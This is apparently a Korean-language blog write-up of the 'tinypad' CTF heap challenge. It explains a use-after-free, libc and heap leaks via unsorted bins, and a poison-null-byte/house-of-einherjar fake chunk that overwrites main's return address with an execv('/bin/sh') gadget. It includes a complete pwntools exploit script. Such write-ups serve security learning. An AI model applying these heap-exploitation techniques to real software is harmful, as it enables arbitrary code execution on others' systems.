총 4개까지 저장할 수 있는 notepad기능을 하는 바이너리이고

bss 영역의 tinypad라는 배열에 저장을 하는데

구조는 다음과 같다


tinypad

0x00 <- edit : *malloc


0x100 size(8) (256>=size>=1)

*malloc(size)(8)


0x110



0x120



0x130



tinypad에서 노트의 내용을 출력할때는
malloc주소가 들어간 위치가 null바이트인지 확인하고 null byte가 아니면 출력하지만

노트를 delete할때는 그부분에 null바이트로 채워주지 않는다
여기서 uaf가 발생하는데

unsorted bin을 이용해서 libc주소가 출력되게 해보자
small bin을 4개 할당한후
3번을 먼저 free하면 3->fd,bk는 mainarena+88을 가리키게 된다(libc)
그후 1번을 free하면 unlink에 의해 1->fd가 3번을 가리키게 되서 heap도 leak이 가능하다

그다음 poison of nullbyte(house_of_einherjar)로 stack leak(libc_argv나 libc_environ 이용)과 overwrite가 가능한데
stack의 main의 ret자리에 
execv('/bin/sh')하는 libc의 주소를 넣으면 된다. 

fake chunk를 만들어 줄때는 병합을 막기위해 prev_inuse=1로 만들어주는 것과
fake bin을 다시 malloc할때 메모리공간을 남겨서 그부분이 병합되지 않게 fake bin과 같은 size로 malloc해주는 것에 유의해야한다.

ex.py




from pwn import *
import time

p=process('/hee/tinypad')
raw_input()
def add(len,memo):
	p.sendline('A')
	p.recvuntil('(SIZE)>>>')
	p.sendline(str(len))
	p.recvuntil('(CONTENT)>>>')
	p.sendline(memo)
	time.sleep(0.2)

def fdel(index):
	p.sendline('D')
	p.recvuntil('(INDEX)>>>')
	p.sendline(str(index))
	time.sleep(0.2)

def edit(index,content):
	p.sendline('E')
	p.recvuntil('(INDEX)>>>')
	p.sendline(str(index))
	p.recvuntil('(CONTENT)>>>')
	p.sendline(content)
	p.recvuntil('(Y/n)')
	p.sendline('Y')
	time.sleep(0.1)
def show():
	p.recvuntil('CONTENT: ')
	print "1\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "2\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "3\n",p.recvuntil('+'),"------------"
	p.recvuntil('CONTENT: ')
        print "4\n",p.recvuntil('+'),"------------"

tinypad=0x602040

c='A'*0xe8+p64(0x50|0b001)+"B"*0x50
add(256,'Z'*0x100)
edit(1,c)
fdel(1)

add(200,'A')
add(200,'B')
add(200,'C')
add(200,'D')
fdel(3)
fdel(1)
#p.recvuntil('-----')
#p.interactive()
p.recvuntil('CONTENT: ')
leak1=u64(p.recv(4).ljust(8,'\x00'))
heap=leak1-0x1a0
print "heap leak : ",hex(heap)

p.recvuntil('CONTENT: ')
p.recvuntil('CONTENT: ')
leak2=u64(p.recv(6).ljust(8,'\x00'))
libc=leak2-0x203b58-2093056+0x200000-0x1000-0x195000
environ=libc+3780408
exec_comm=libc+878725

print "libc leak : ",hex(libc)
print "environ leak : ",hex(environ)
print "exec_comm : ",hex(exec_comm)

fdel(2)
fdel(4)

######### poison_null_byte #####################


add(136,'A'*136)	#1 0x88
add(256,'B'*256)	#2 0x100
add(128,'C'*100)	#3 0x80
#show()

fdel(2)
edit(1,'3'*136)	#null byte overflow
#show()

add(128,'b1')	#2 0x80
add(64,'b2')	#4 0x40

fdel(2)
fdel(3)		#consolidate with b1
fdel(4)		#b2 free

print "check!"
overwriteb2="F"*128+p64(0)+p64(0x50|0b001)+p64(0x602120)+p64(0)
add(len(overwriteb2),overwriteb2)	#0x100,2
add(64,'C'*0x40)			#3

fake='A'*0x10+p64(100)+p64(environ)+p64(0x88)+p64(0x602148)+2*p64(0)+p64(0x88)
add(len(fake),fake)			#4

p.recvuntil('CONTENT: ')
leak3=u64(p.recv(6).ljust(8,'\x00'))	#addr environ(stack)
ret=leak3-240
print "stack main ret : ",hex(ret)


edit(2,p64(ret))
edit(1,p64(exec_comm))
p.interactive()



'CTF' 카테고리의 다른 글

[HITCON2014]stkof  (0) 2017.02.07
[codegate2016]bugbug  (0) 2017.02.02
[HITCON CTF Qual 2016]house of orange  (0) 2017.01.18
[christmas ctf]house of daehee  (0) 2017.01.17
[9447-ctf-2015] search 230pt  (0) 2017.01.08

+ Recent posts